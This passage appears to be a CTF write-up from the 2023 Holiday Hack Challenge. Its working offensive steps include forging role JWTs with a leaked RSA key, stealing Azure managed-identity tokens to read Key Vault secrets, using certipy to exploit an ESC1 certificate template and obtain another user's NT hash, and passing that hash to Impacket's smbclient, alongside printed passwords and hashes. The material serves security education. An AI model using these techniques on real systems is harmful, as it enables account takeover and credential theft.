    "radioMonitor": None,  # Interact with SDR and listen to transmissions - https://captainscomms.com/jwtDefault/rMonitor.tok
    "radioDecoder": "dcdNUM",  # Decoding SDR waterfall signals - https://captainscomms.com/jwtDefault/rDecoder.tok
    "GeeseIslandsSuperChiefCommunicationsOfficer": "tx",  # Transmit messages - https://captainscomms.com/jwtDefault/rTransmitter.tok
}
# Load RSA private key
with open("./capsPrivKey.key", "rb") as key_file:
    PRIVATE_KEY = serialization.load_pem_private_key(key_file.read(), password=None, backend=default_backend())


def get_jwt(role):
    """Create new JWT based on a given role."""
    algorithm = "RS256"
    payload = {
        "iss": "HHC 2023 Captain's Comms",
        "iat": 1699485795.3403327,
        "exp": 1809937395.3403327,
        "aud": "Holiday Hack 2023",
        "role": role,
    }
    token = jwt.encode(payload=payload, key=PRIVATE_KEY, algorithm=algorithm)
    return token


def check_role(role, jwt_token):
    """Checks a jwt token based on a given role."""
    x_request = ROLES[role]
    if x_request:
        headers = {
            "Cookie": f"justWatchThisRole={jwt_token}; CaptainsCookie={jwt_token}",
            "Authorization": f"Bearer {jwt_token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
            "X-Request-Item": x_request,
        }
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
        r = requests.get(url="https://captainscomms.com/checkRole", headers=headers, proxies=proxies, verify=False)
        print(r.text)
        if "Warning" not in r.text:
            print(f"[+] {role} was valid.")
        else:
            print(f"[-] {role} was invalid.")


def main():
    # Generate JWT
    while True:
        lower_keys = list(map(str.lower, ROLES.keys()))
        role_str = ", ".join(ROLES.keys())
        role_input = input(f"What role would you like to generate ({role_str}): ").lower()
        if role_input.lower() not in lower_keys:
            print("Invalid role. Please choose a valid role.")
            continue
        else:
            role = list(ROLES.keys())[lower_keys.index(role_input.lower())]
        jwt_token = get_jwt(role)
        print(f"Role: {role}, JWT token {jwt_token}")

        # Check role
        r = check_role(role, jwt_token)


if __name__ == "__main__":
    main()
$ python3 jwtgen.py
What role would you like to generate (radioUser, radioMonitor, radioDecoder, GeeseIslandsSuperChiefCommunicationsOfficer): GeeseIslandsSuperChiefCommunicationsOfficer
Role: GeeseIslandsSuperChiefCommunicationsOfficer, JWT eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
captainsTX.gif,1
[+] GeeseIslandsSuperChiefCommunicationsOfficer was valid.

After changing our authorization header we can access the radio:

radio

Radio Frequency and Go-Date/Time⚓︎

Previously from the FX output: 10426 HZ Previously from the NUM output: 12249 16009 Previously from Background: "The captain would like to find their anticipated 'go-time' frequency, the planned date and hour for their incursion, and lure the miscreants ashore at a time when the island authorities are sufficiently prepared and ready by transmitting a message announcing a new 'go-time' which is four hours earlier than what the miscreants planned"

The Frequency is directly from the FX output of 10426 Hz. The NUM should contain a date and time field. The numbers all end in a consistent 9 and since the input fields are 4-digit max, and we are presumably looking for a date in December 12 ... The date is the first output: 1224 which correlates to December 24th. The time is the second output: 1600 which correlates to 4 PM. If we were to enter this time in, it would be identical to what was received. Intercepted Frequency: 10426 HZ Go-Date: 1224 Go-Time: 1600 However, per the background, we need to subtract 4 hours from the time: Correct Frequency: 10426 HZ Go-Date: 1224 Go-Time: 1200

Clicking Transmit (Tx) Button on the radio:

success

Achievement

Congratulations! You have completed the The Captain's Comms challenge!

Port of Coggoggle Marina⚓︎

While exploring the Steampunk Island, we discover the Port of Coggoggle Marina. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Angel Candysalt on Steampunk Island to greet us!

dock

When we make land, we obtain new objectives on arrival.

Active Directory (Steampunk Island)

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?

Full Island (Zoomed Out)

zoom30

Active Directory⚓︎

Active Directory (Steampunk Island)

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?

If we go to the right of the dock in Coggoggle Marina on Steampunk Island, we find Ribb Bonbowford!

coggoggle

When speaking with Ribb Bonbowford, we obtain the following hint:

Useful Tools

It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.

Ribb Bonbowford

I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.

On Pixel Island, we also an obtained a hint from Alabaster Snowball on the completion of Certificate SSHenanigans:

Misconfiguration ADventures

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Azure Key Vault⚓︎

Using the following curl commands to the Azure API, we were able to enumerate Azure Key Vaults and obtain the credentials of the elfy user!

Enumerating available azure key vaults:

access_token=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01" | jq .
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "properties": {
        "sku": {
          "family": "A",
          "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded"
      }
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "properties": {
        "sku": {
          "family": "A",
          "name": "standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
            "permissions": {
              "keys": [
                "all"
              ],
              "secrets": [
                "all"
              ],
              "certificates": [
                "all"
              ],
              "storage": [
                "all"
              ]
            }
          },
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
            "permissions": {
              "secrets": [
                "get"
              ]
            }
          }
        ],
        "enabledForDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
        "provisioningState": "Succeeded"
      }
    }
  ],
  "nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
}

Fetching Secrets from northpole-it-kv key vault and the tmpAddUserScript contents (with formatting).

access_token=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://northpole-it-kv.vault.azure.net/secrets?api-version=2016-10-01" | jq .
curl -s -H "Authorization: Bearer $access_token" 'https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=2016-10-01' | jq -r .value | sed 's/; /\n/g'
Import-Module ActiveDirectory
$UserName = "elfy"
$UserDomain = "northpole.local"
$UserUPN = "$UserName@$UserDomain"
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force
$DCIP = "10.0.0.53"
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

Enumerate SMB Share (elfy)⚓︎

Connect to an SMB server and obtain files with Impacket's smbclient.py:

alabaster@ssh-server-vm:~$ smbclient.py 'northpole.local/elfy:J4`ufC49/J4766'@10.0.0.53
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 .
drw-rw-rw-          0  Mon Jan  1 01:15:51 2024 ..
-rw-rw-rw-     701028  Mon Jan  1 01:15:54 2024 Cookies.pdf
-rw-rw-rw-    1521650  Mon Jan  1 01:15:54 2024 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Mon Jan  1 01:15:54 2024 SignatureCookies.pdf
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 super_secret_research
-rw-rw-rw-        165  Mon Jan  1 01:15:54 2024 todo.txt
# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt

Within the contents of todo.txt, it mentions only researchers have access to the folder. Lets enumerate who is a researcher on the domain!

1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

Enumerate Users⚓︎

Connect to the domain controller and obtain user information using Impacket's GetADUsers.py:

alabaster@ssh-server-vm:~$ GetADUsers.py -all -dc-ip 10.0.0.53 'northpole.local/elfy:J4`ufC49/J4766'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-31 17:03:53.904578  2024-01-01 04:47:34.127510
Guest                                                 <never>              <never>
krbtgt                                                2024-01-01 01:12:45.428030  <never>
elfy                                                  2024-01-01 01:15:00.062070  2024-01-01 23:54:12.109625
wombleycube                                           2024-01-01 01:15:00.202697  2024-01-02 00:15:12.848081

Enumerate Certificates⚓︎

Connect to the domain controller of northpole.local at 10.0.0.53 and enumerate the vulnerable certificates:

alabaster@ssh-server-vm:~$ certipy find -vulnerable -u elfy@northpole.local -p 'J4`ufC49/J4766' -target-ip 10.0.0.53  -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 7099E7E2AE353AB844CFF84150AC1585
    Certificate Validity Start          : 2024-01-01 01:07:47+00:00
    Certificate Validity End            : 2029-01-01 01:17:46+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

ESC1 Certificate Attack⚓︎

References: https://github.com/ly4k/Certipy#esc1 ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

Per certipy enumeration output, we can perform a ESC1 attack using the NorthPoleUsers certificate template and request an authentication certificate for any other user. Lets try this on the two other users in the domain: alabaster and wombleycube

Request a certificate via RPC for wombleycube and we were successful:

alabaster@ssh-server-vm:~$ certipy req -u elfy@northpole.local -p 'J4`ufC49/J4766' -target-ip 10.0.0.53 -ca northpole-npdc01-CA -target npdc01.northpole.local -template NorthPoleUsers -ns 10.0.0.53 -dns-tcp -upn wombleycube@northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Enumerate SMB Share (wombleycube)⚓︎

Connect to an SMB server and obtain files with Impacket's smbclient.py:

alabaster@ssh-server-vm:~$ smbclient.py -hashes ':5740373231597863662f6d50484d3e23' 'northpole.local/wombleycube@10.0.0.53'
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands

# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL

# use FileShare

# cd super_secret_research

# ls
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 .
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 ..
-rw-rw-rw-        231  Mon Jan  1 01:15:54 2024 InstructionsForEnteringSatelliteGroundStation.txt

# get InstructionsForEnteringSatelliteGroundStation.txt

# exit

Read the file InstructionsForEnteringSatelliteGroundStation.txt:

Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

We enter in the answer into our badge for the objective: Answer: InstructionsForEnteringSatelliteGroundStation.txt

Achievement

Congratulations! You have completed the AD challenge!

Port of Rusty Quay⚓︎

While exploring the Steampunk Island, we discover the Port of Rusty Quay. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock features Angel Candysalt to greet us!

port

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys)

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island)

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island)

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 3⚓︎

Game Cartridges: Vol 3 (Steampunk Island)

Find the third Gamegosling cartridge and beat the game

If we go to the right of the dock, we find Angel Candysalt.

angel

When speaking with Angel Candysalt, we obtain the following hints:

Buried Treasures

There are 3 buried treasures in total, each in its own uncharted area around Geese Islands. Use the gameboy cartridge detector and listen for the sound it makes when treasure is nearby, which gets louder the closer you are. Also look for some kind of distinguishing mark or feature, which could mark the treasure's location.

Bird's Eye View

The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.

He also equips us with a tool named the Game Boy Cartridge Detector to assist in locating cartridges within the upcoming maze. In total, there are three cartridges hidden throughout the maze for us to discover.

detector

Finding the Game Cartridge⚓︎

When we get in the maze, we can zoom out to 30% to identify a path to the Cartridge!

maze

maze

We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol3" in our Items:

maze

When we click on the game in our inventory, it launches from https://gamegosling.com/vol3-7bNwQKGBFNGQT1/ with a Gameboy ROM of game.gb.

wget https://gamegosling.com/vol3-7bNwQKGBFNGQT1/rom/game.gb -O game-vol3.gb

Speaking with Angel Candysalt after we obtained the game cartridge, we obtain the following hint:

Gameboy 3

This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.

Vol 3 Gameplay⚓︎

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game0-vol3.gb

In visualboyadvance-m emulator, the K key is mapped to the B button, and L key is mapped to the A button. The WASD keys are to move.

We can also use BGB to emulate a GameBoy. It also has a lot of tools to help us analyze and hack a gameboy game. In BGB emulator, the A key is mapped to the B button, and S key is mapped to the A button. The arrow keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1:

gameboystartup

gameboystartup

*PREVIOUSLY ON...
Elf: GLOOOOOR....
T-wiz: Just a second Elf.
As Vol3 seems pretty buggy and coins seem to disappear after you save. You should know that my magic is available.
Elf: Oh! *cough*
Thanks for letting me know!
GLOOOOOOOOOOORY!

After the speech, we exit the cave. Note: we have a coin-counter and also the diamond is a save/load feature!

save

Exiting the cave:

exitcave

Collecting coins is achieved by executing jumps, and enemies can also be defeated by jumping on them using the "A" button. Mastering the jumping mechanism is crucial for both accumulating coins and overcoming adversaries in the game.

Upon manually accumulating 999 coins or more, an error occurs, resulting in the reset of our coin count to 0. This issue needs investigation to understand the cause and implement a resolution.

ingame

Finding the Coin Value Memory Address⚓︎

Utilizing the BGB cheat searcher for the task, we initiate the search for 8-bit values. Beginning with a coin count of 0, we increment each digit of the coins by 1 sequentially (111 -> 222 -> 333), searching for values that are "not equal to the previous value." As we progress, narrowing down the search, we ultimately identify a couple of addresses associated with the coin count, particularly when our coins reach 444. This enables us to manipulate and freeze these addresses to set the coin count to a maximum of 999.

cheatsearch

We can freeze all 6 of these final addresses, but I wanted to map them to their actual usage:

Changing CBA2 from 05 to 08 reflected in the game when moving in/out of frame for the integer values of the coins (one's place = 00X):

ones

Changing CB9C from 05 to 03 reflected in the game when moving in/out of frame for the integer values of the coins (ten's place = 0X0):

tens

Changing CB9E from 05 to 07 reflected in the game when moving in/out of frame for the integer values of the coins (hundred's place = X00):

hundreds

We can freeze these 3 values so they don't change from 999:

freeze

The other addresses of are for the current value of coins (on the screen, but not the actual when its loaded)

Finding the Position Memory Address⚓︎

By navigating and continuously updating the BGB cheat searcher, we identified the memory address C0BB responsible for storing our horizontal location. Armed with this information, we can manually adjust the value at C0BB, enabling us to "jump" and effortlessly conquer obstacles or navigate gaps that would typically present a challenge in the game.

position

Endgame⚓︎

Upon successfully navigating through the three levels, we encounter Jared:

endgame

Upon reaching the other side, we enter a tunnel or door that leads us into a new room.

newroom

Engaging in conversation with the Grumpy Man, he shares a unique phrase meant for ChatNPT, acknowledging me as an ultimate hacker in light of the remarkable feat of collecting 999 coins.

grumpyman

grumpyman

Speaking to ChatNPT, he makes it so I can move a rock and we receive the flag!

rockmove

rockmove

rockmove

rockmove

We enter in the answer into our badge for the objective: Answer: !tom+elf!

Achievement

Congratulations! You have completed the Game Cartridges: Vol 3 challenge!